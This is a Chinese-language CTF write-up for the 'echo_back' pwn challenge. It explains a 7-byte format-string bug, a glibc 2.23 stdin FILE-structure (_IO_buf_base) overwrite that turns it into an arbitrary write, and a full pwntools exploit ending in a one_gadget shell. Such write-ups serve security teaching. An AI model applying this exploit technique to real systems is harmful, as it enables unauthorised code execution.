程序综述
supergate@ubuntu:~/Desktop/Pwn$ checksec echo_back
[*] '/home/supergate/Desktop/Pwn/echo_back'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,但是题目中给了libc库(为2.23版本),因此可以考虑使用onegadget来getshell。
supergate@ubuntu:~/Desktop/Pwn$ ./echo_back
# ____ _ _ ___ ____ ____ ___ ____ ____ ____ ____
# | \_/ |__] |___ |__/ |__] |___ |__| | |___
# |___ | |__] |___ | \ | |___ | | |___ |___
#
# Welcome to CyberPeace echo-back service!
#
-----------menu-----------
1. set name
2. echo back
3. exit
choice>>
运行程序后发现有菜单选项,因此分别查看set name
和echo back
的函数功能
set name
ssize_t __fastcall readName(void *a1)
{
printf("name:");
return read(0, a1, 7uLL);
}
echo back
unsigned __int64 __fastcall inputContent(_BYTE *a1)
{
size_t nbytes; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset((char *)&nbytes + 4, 0, 8uLL);
printf("length:", 0LL);
_isoc99_scanf("%d", &nbytes);
getchar();
if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
LODWORD(nbytes) = 7;
read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
if ( *a1 )
printf("%s say:", a1);
else
printf("anonymous say:", (char *)&nbytes + 4);
printf((const char *)&nbytes + 4);
return __readfsqword(0x28u) ^ v3;
}
容易发现echo back中有一个格式化字符串漏洞
漏洞利用
如上所述,我们找到了一个格式化字符串漏洞的地方。但是可惜的是,我们只能输入7个字节的格式化字符串,这导致我们无法对栈内的值进行大规模的修改。但是修改某个地址的后几个字节为\x00
还是比较容易的。
另外,echo back函数中也使用了scanf函数,而scanf函数又和IO_2_1_stdin
有着较大的关系。我们可以考虑用文件IO指针来对程序进行攻击。
阅读scanf源码,知道scanf函数调用了_IO_vfscanf
,并且提供了文件指针stdin。
使用pwndbg调试的时候可以看一下这个结构体
pwndbg> p _IO_2_1_stdin_
$1 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
再向底层进行分析之后,发现最终会调用到_IO_new_file_underflow
进行输入,我们跟进查看逻辑:
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。可以想到,当可以控制_IO_buf_base的值就可以达到任意地址写的目的了。
题目中可以利用是因为在调用scanf之前的时候,_IO_read_ptr ==_IO_read_end。并且将_IO_buf_base的低位赋值为\x00时,指针恰好指向了stdin内部地址,并且可以再次覆写_IO_buf_base进一步造成内存任意写:
pwndbg> x/30gx 0x7ffff7dd1963-0x83
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1964 0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1964 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x000000000a000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
0x7ffff7dd19c0 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
而在scanf后面跟了一个getchar()函数,每次调用这个函数是会导致_IO_read_ptr++。这样我们就可以通过scanf输入0个字节,来让_IO_read_ptr ==_IO_read_end,从而向_IO_buf_base指向的地址写入数据。
显然,我们可以将_IO_buf_base设置为函数的返回地址,然后把这个地址写为onegadget的地址即可。
exp
from pwn import *
context.log_level='debug'
p=process('./echo_back')
elf=ELF('./echo_back')
libc=ELF('./libc.so.6')
#gdb.attach(p)
def inputContent(length,content):
p.sendlineafter(">> ","2")
p.sendafter("length:",str(length))
p.sendline(content)
def readName(content):
p.sendlineafter(">> ","1")
p.sendlineafter("name:",content)
inputContent("7\n","%2$p")
p.recvuntil("anonymous say:")
libc.address=int(p.recvuntil("----",drop=True),16)-0x3c6780
gadget_addr=libc.address+0x45216
IO_buf_base_addr=libc.symbols['_IO_2_1_stdin_']+0x38
print "IO_buf_base_addr ======> "+hex(IO_buf_base_addr)
inputContent("7\n","%7$p")
p.recvuntil("anonymous say:")
ret_stack_addr=int(p.recvuntil("----",drop=True),16)-0x18
print "ret_stack_addr ======> "+hex(ret_stack_addr)
padding_addr=IO_buf_base_addr-0x18+0x63
readName(p64(IO_buf_base_addr))
inputContent("7\n","%16$hhn")
payload=p64(padding_addr)*3+p64(ret_stack_addr)+p64(ret_stack_addr+8)
#保证在_IO_buf_base处只写入8个字节的内容
inputContent(payload,'')
for i in range(0x28-1):
p.sendlineafter(">> ","2")
p.sendlineafter("length:",'')
p.sendlineafter(">> ","2")
p.sendlineafter("length:",p64(gadget_addr))
p.sendline()
p.interactive()